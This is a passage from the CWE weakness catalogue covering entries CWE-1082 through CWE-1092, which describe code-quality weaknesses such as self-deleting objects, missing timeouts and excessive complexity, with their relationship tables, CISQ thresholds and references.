This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "too many lines of code" may vary for each product or developer, CISQ recommends a default threshold value of 1000.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1120	Excessive Code Complexity	1960

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2481

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-8		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

CWE-1082: Class Instance Self Destruction Control Element

Weakness ID : 1082
Structure : Simple
Abstraction : Base

Description

The code contains a class instance that calls the method or function to delete or destroy itself.

Extended Description

For example, in C++, "delete this" will cause the object to delete itself.

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1076	Insufficient Adherence to Expected Conventions	1916

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-7		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-976]Standard C++ Foundation. "Memory Management". < https://isocpp.org/wiki/faq/freestore-mgmt#delete-this >.

CWE-1083: Data Access from Outside Expected Data Manager Component

Weakness ID : 1083
Structure : Simple
Abstraction : Base

Description

The product is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component.

Extended Description

When the product has a data access component, the design may be intended to handle all data access operations through that component. If a data access operation is performed outside of that component, then this may indicate a violation of the intended design.

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	🟢	1061	Insufficient Encapsulation	1898

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1227	Encapsulation Issues	2481

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-10		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1084: Invokable Control Element with Excessive File or Data Access Operations

Weakness ID : 1084
Structure : Simple
Abstraction : Base

Description

A function or method contains too many operations that utilize a data manager or file resource.

Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "too many operations" may vary for each product or developer, CISQ recommends a default maximum of 7 operations for the same data manager or file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	405	Asymmetric Resource Consumption (Amplification)	986

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-14		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code

Weakness ID : 1085
Structure : Simple
Abstraction : Base

Description

A function, method, procedure, etc. contains an excessive amount of code that has been commented out within its body.

Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "excessive volume" may vary for each product or developer, CISQ recommends a default threshold of 2% of commented code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1078	Inappropriate Source Code Style or Formatting	1918

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-6		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

CWE-1086: Class with Excessive Number of Child Classes

Weakness ID : 1086
Structure : Simple
Abstraction : Base

Description

A class contains an unnecessarily large number of children.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of children" may vary for each product or developer, CISQ recommends a default maximum of 10 child classes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1093	Excessively Complex Data Representation	1933

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2481

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484

Nature	Type	ID	Name	V	Page
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-18		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

CWE-1087: Class with Virtual Method without a Virtual Destructor

Weakness ID : 1087
Structure : Simple
Abstraction : Base

Description

A class contains a virtual method, but the method does not have an associated virtual destructor.

Extended Description

This issue can prevent the product from running reliably, e.g. due to undefined behavior. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1076	Insufficient Adherence to Expected Conventions	1916

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440

Nature	Type	ID	Name	V	Page
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-15		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1088: Synchronous Access of Remote Resource without Timeout

Weakness ID : 1088
Structure : Simple
Abstraction : Base

Description

The code has a synchronous call to a remote resource, but there is no timeout for the call, or the timeout is set to infinite.

Extended Description

This issue can prevent the product from running reliably, since an outage for the remote resource can cause the product to hang. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	821	Incorrect Synchronization	1722

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483

Nature	Type	ID	Name	V	Page
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-19		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1089: Large Data Table with Excessive Number of Indices

Weakness ID : 1089
Structure : Simple
Abstraction : Base

Description

The product uses a large data table that contains an excessively large number of indices.

Extended Description

This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "excessively large number of indices" may vary for each product or developer, CISQ recommends a default threshold of 1000000 rows for a "large" table and a default threshold of 3 indices.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	405	Asymmetric Resource Consumption (Amplification)	986

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2443
MemberOf	C	1309	CISQ Quality Measures - Efficiency	1305	2486
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-6		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < https://www.omg.org/spec/ASCPEM/ >.2023-04-07.

CWE-1090: Method Containing Access of a Member Element from Another Class

Weakness ID : 1090
Structure : Simple
Abstraction : Base

Description

A method for a class performs an operation that directly accesses a member element from another class.

Extended Description

This issue suggests poor encapsulation and makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1061	Insufficient Encapsulation	1898

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1227	Encapsulation Issues	2481

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-16		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

CWE-1091: Use of Object without Invoking Destructor Method

Weakness ID : 1091
Structure : Simple
Abstraction : Base

Description

The product contains a method that accesses an object but does not later invoke the element's associated finalize/destructor method.

Extended Description

This issue can make the product perform more slowly by retaining memory and/or other resources longer than necessary. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1076	Insufficient Adherence to Expected Conventions	1916
ChildOf	B	772	Missing Release of Resource after Effective Lifetime	1624

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2443
MemberOf	C	1309	CISQ Quality Measures - Efficiency	1305	2486
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-15		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < https://www.omg.org/spec/ASCPEM/ >.2023-04-07.

CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers

Weakness ID : 1092
Structure : Simple
Abstraction : Base

Description

The product uses the same control element across multiple architectural layers.

Extended Description

This issue makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1549

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	